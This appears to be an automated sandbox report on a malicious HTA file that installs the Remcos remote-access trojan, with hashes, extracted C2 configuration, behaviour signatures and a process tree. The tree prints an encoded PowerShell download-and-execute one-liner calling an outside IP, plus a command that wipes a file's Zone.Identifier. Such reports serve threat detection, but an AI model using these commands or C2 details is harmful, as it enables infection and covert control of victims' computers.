Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
11/11/2026, 00:23
Static task
static1
Behavioral task
behavioral1
Sample
beautiful.hta
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
beautiful.hta
Resource
win11ltsc2024-20260911-en
General
- Target beautiful.hta
- Size 15KB
- Sample261111-apl8dssz5r
- SHA256 aa74860b29b3f1dd8510f063e2efa9103d58cde19f6488f051c8413dfb09304c
- MD5 07fcf81078c93e3d8d3c19ade4eb71ea
- SHA1 d56070123d288f4d643b6f01202da4f724e8772e
- SHA512 fe36f7bc131e658b97b1c0612960872cc30c477a29a1ac3e3d706d5b5729b16a2bdc431de76ef85604b094adb99cf428ab81833dbfd640ffa04ad7a23a51c39b
- SSDEEP 48:3h7lZHO7lfRH084NnPqHeP7l1M7lJkkz5HDj7ldG:xy+tQJm
- TLSH T1A7623FBCD194FDC8439B72E410442A0299AE613FA1D53A0BB4DE8E2763E435C9F36107
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
remcos
-
7.3.1 Pro
-
15thtry1564
-
141.98.10.188:2409
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-HRX1LH
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
resource yara_rule behavioral2/memory/6100-88-0x0000000002690000-0x0000000003690000-memory.dmp family_donutloader - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 4660 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 6100 TNWLIGAWESWQCHRG.exe - Loads dropped DLL 1 IoCs
pid Process 6100 TNWLIGAWESWQCHRG.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1408 cmd.exe 5980 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname TNWLIGAWESWQCHRG.exe - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\ WScript.exe - NTFS ADS 1 IoCs
description ioc Process File created C:\Users\Public\swissnetsing.js:Zone.Identifier cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4660 powershell.exe 4660 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4660 powershell.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4720 wrote to memory of 1408 4720 mshta.exe 89 PID 1408 wrote to memory of 4660 1408 cmd.exe 91 PID 4660 wrote to memory of 1404 4660 powershell.exe 92 PID 1404 wrote to memory of 5980 1404 WScript.exe 93 PID 1404 wrote to memory of 6100 1404 WScript.exe 96
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\beautiful.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c PoWerSHELL -ex bypAss -nop -w 1 -eC IAAgACAAIAAgACAAIAB3AEcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQAwADcALgAxADcANAAuADMANAAuADEANAA1AC8AMQA2AC8AcwB3AGkAcwBzAC4AagBzAB0gIAAgACAAIAAgACAAIAAtAG8AVQBUAEYAaQBsAGUAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAG4AVgA6AHAAVQBiAGwASQBDAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSAgAAkACQAJAAkACQAgACAAIAAgACAACQAgAAkAIAAgADsAIAAJACAAIAAgACAACQAgACAAIAAgAAkAIAAJACAACQAgACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAE4AdgA6AFAAVQBiAEwAaQBjAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSA= "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWerSHELL -ex bypAss -nop -w 1 -eC IAAgACAAIAAgACAAIAB3AEcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQAwADcALgAxADcANAAuADMANAAuADEANAA1AC8AMQA2AC8AcwB3AGkAcwBzAC4AagBzAB0gIAAgACAAIAAgACAAIAAtAG8AVQBUAEYAaQBsAGUAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAG4AVgA6AHAAVQBiAGwASQBDAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSAgAAkACQAJAAkACQAgACAAIAAgACAACQAgAAkAIAAgADsAIAAJACAAIAAgACAACQAgACAAIAAgAAkAIAAJACAACQAgACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAE4AdgA6AFAAVQBiAEwAaQBjAFwAcwB3AGkAcwBzAG4AZQB0AHMAaQBuAGcALgBqAHMAHSA= "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4660 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\swissnetsing.js"4⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1404 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo. > "C:\Users\Public\swissnetsing.js:Zone.Identifier"5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- NTFS ADS
PID:5980
-
-
C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe"C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe" C:\Users\Admin\Documents\GRHCQWSEWAGILWNT5⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:6100
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\Documents\GRHCQWSEWAGILWNT
- Size 1.1MB
- SHA256 7c70aa696d0de3e35b0e793fe33c4576cbae43599459645c97146efe85e3fc26
- MD5 233d7814e9b81e8014949d7bda1bcf3d
- SHA1 d0d14318b3ce94627a91ef1a461d4771003af1b9
- SHA512 e24692b07a9c8c8c8d703971f12fbeb49284bdbf32752d57545937198d420cf0a2e4e279e4ae038abb46ec442d8b3c0bfe4bd0312649633407e754810019cbcc
- SSDEEP 24576:oQ4z/4/mYVy3JmECqdSOj9xbpQEo9FYXCshf4eiIeBjj/pSVFr1xUbAzcVV:2z/4FssECmLbpQEV9A7IeBjj/pSVFr1o
- TLSH T11735AEC7708E69A492EE42B0CC6B4A8731B9C5FA034E56470F94D0F5739167CCBE993A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe
- Size 27KB
- SHA256 70916418ff0b6c2a12e8897ff622bdbb115435d38f0afe3ea981de1e7652ebb4
- MD5 a989e1ff8e0e2a090e65226a2cfc6315
- SHA1 31b7e7644a1445ebe7ee90b8100ece52374777dc
- SHA512 ca2314748e9e65462f01a1c51754d17f93bbc1ef47dc84cac784c36744184c5f5ebec370fce138dfd8c22196f87b58a91f28185cb88a9fd716e05cea6c8ed6d3
- SSDEEP 192:V2JOj62kV6yge14ANwRZTrA3GfQJkd4+G7SgrgX/QgESiIU8ZcGwuttnhlM49abK:vkAe/QZvfQm49Xr4IJXutRU499mgYPWt
- TLSH T1B6C2F73FB6565CFEC142C37898D746327072782197232A6F0718A632AF71B749A6F12D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\lua51.dll
- Size 439KB
- SHA256 2f52407927015a8bf4a2a6765ccb599bc438c9a19e1d4a5dda1f5292a0c0e50a
- MD5 028b7c1c451765479927a369b0766fa2
- SHA1 c960a19bd5f5d86d2629f102c175984015885f40
- SHA512 424a5b472845d75055642d6abc8802a4abdff845c0910f8fc346b627071ba1cf515903864878a95ba6b944e5cc9ef006e1de5ee0b486c6bf5ba24d85c26aa496
- SSDEEP 12288:eThHrqR5EtmwgObhTLRFA8nmKlTD8ju3F3Mx:eN85EtmgvHmyTDeu3F3Mx
- TLSH T1AEA4380BA2B356BCC6678170876BAB72A931FC1511307DBE1998FB312D31D909B9F52C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\swissnetsing.js
- Size 4.8MB
- SHA256 e7c8f512c9305b3e0d0cc0aa673de63d5f1cdb8a3fa25bf739a4395c259cde9e
- MD5 e2acb3ad573c603145b64db4d58156d8
- SHA1 c94cdf3c47e932b070c4a8e46dbd48371f2b7f01
- SHA512 283a27b3797297bb56c77b6f8542c11f486016ef8856a1849bc3db1b41dce98f055456ee4865342b70e5ac64c8c6ada81cfb90fd436d055a71e009072e8d6e91
- SSDEEP 98304:Od49UKN1Tl+s54b1I2hWvDmZVr9F5PEauuC7s9u0I+Mr8nlpT4iTscxAGc0bKh8B:Od49UKNhl+sqb1nW7mZVr9F5PEauuJ97
- TLSH T1143618866394A2F23322BFBC8636DD79940E95132BC6CB30715DD229B51DD0BA3187E7
- MD5 SHA1 SHA512 SSDEEP TLSH